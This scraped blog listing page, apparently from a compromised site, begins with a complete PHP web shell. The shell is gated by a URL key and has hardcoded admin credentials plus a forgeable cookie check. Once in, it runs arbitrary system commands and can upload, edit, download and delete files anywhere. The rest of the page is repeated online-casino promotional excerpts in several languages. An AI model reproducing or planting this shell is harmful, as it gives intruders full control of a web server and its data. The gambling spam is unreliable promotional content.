if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 7 – collectives.berlin

Your digital paradise.

Category: public

  • Masterhacks Blog: Comparando cuotas de apuestas para encontrar el valor real

    En el emocionante mundo de las apuestas, uno de los factores más cruciales para el éxito es entender cómo comparar las cuotas de apuestas. Este proceso no solo involucra analizar cifras, sino también interpretar el rendimiento de los equipos y la probabilidad de ciertos resultados. Con las estrategias adecuadas, como las que se presentan en…

    Click or not…

  • Pin-Up Casino: лучшие игры и функции для увлекательного отдыха в 2026 году

    Пинап казино становится все более популярным выбором среди любителей азартных игр в 2026 году благодаря своим уникальным функциям и разнообразию игр. Это заведение предлагает игрокам не только классические игровые автоматы, но и современные развлечения, вписывающиеся в новейшие тренды, такие как Пинап казино онлайн Казахстан , которые привлекают внимание многих пользователей. В этой статье мы рассмотрим,…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Обзор акций Pin Up: какие бонусы доступны для игроков в Казахстане

    Игровая индустрия в Казахстане переживает бурное развитие, и среди множества онлайн-казино, которые появляются на рынке, бренд Pin Up привлекает особое внимание. С его разнообразными акциями и бонусами, игроки могут наслаждаться потрясающим опытом игры, а также в рамках этого обзора мы упомянем Бренд Pin Up для рынка Казахстана и то, что стоит знать перед регистрацией. Что…

    Click or not…

  • Mobil Pin-Up tətbiqi: oyunçular üçün üstünlükləri

    Onlayn oyun dünyasında, mobil tətbiqlər oyunçulara daha rahat və sürətli giriş imkanı təqdim edir. Mobil Pin-Up tətbiqi, istifadəçilərə geniş oyun çeşidi, bonus imkanları və pin up mobil dostu interfeys ilə fərqlənir. Bu yazıda, bu tətbiqin oyunçular üçün üstünlüklərini ətraflı şəkildə araşdıracağıq. Pin-Up tətbiqinin üstünlüklərinə daha yaxından baxış Mobil Pin-Up tətbiqi, istifadəçilərə istədikləri zaman və yerdə…

    Click or not…

  • Aprovecha los torneos de PinUp casino: estrategias para triunfar

    Los torneos en los casinos online son una excelente forma de maximizar la experiencia de juego y potencialmente aumentar las ganancias. En este contexto, los torneos son muy populares entre los jugadores, ya que ofrecen la oportunidad de competir contra otros y ganar premios significativos. Además, los mejores torneos se pueden encontrar en https://pinup-world.mx/ ,…

    Click or not…

  • Wie funktionieren Ausländische Online Casinos Schweiz? Ein Leitfaden für 2026 mit Blick auf

    Das Interesse an ausländischen Online-Casinos in der Schweiz nimmt stetig zu. Spieler suchen nach neuen Möglichkeiten, um ihre Lieblingsspiele bequem von zu Hause aus zu genießen. Im Jahr 2026 ist es besonders wichtig, die wichtigsten Faktoren zu verstehen, die beim Spielen in diesen Casinos eine Rolle spielen, einschließlich Lizenzierung, Zahlungsmethoden und beste ausländische online casinos…

    Click or not…

  • Wie funktionieren Ausländische Online Casinos Schweiz? Ein Leitfaden für 2026 mit Blick auf

    Das Interesse an ausländischen Online-Casinos in der Schweiz nimmt stetig zu. Spieler suchen nach neuen Möglichkeiten, um ihre Lieblingsspiele bequem von zu Hause aus zu genießen. Im Jahr 2026 ist es besonders wichtig, die wichtigsten Faktoren zu verstehen, die beim Spielen in diesen Casinos eine Rolle spielen, einschließlich Lizenzierung, Zahlungsmethoden und beste ausländische online casinos…

    Click or not…

  • Unlock fast payouts at GonzaBet: your guide to seamless withdrawals

    Online casinos have become increasingly popular, offering players a convenient way to enjoy real money games from the comfort of their own homes. GonzaBet, a licensed UK online casino, stands out with its diverse selection of games and impressive speed of payouts. Whether you’re drawn to the thrill of slots, the strategy of table games,…

    Click or not…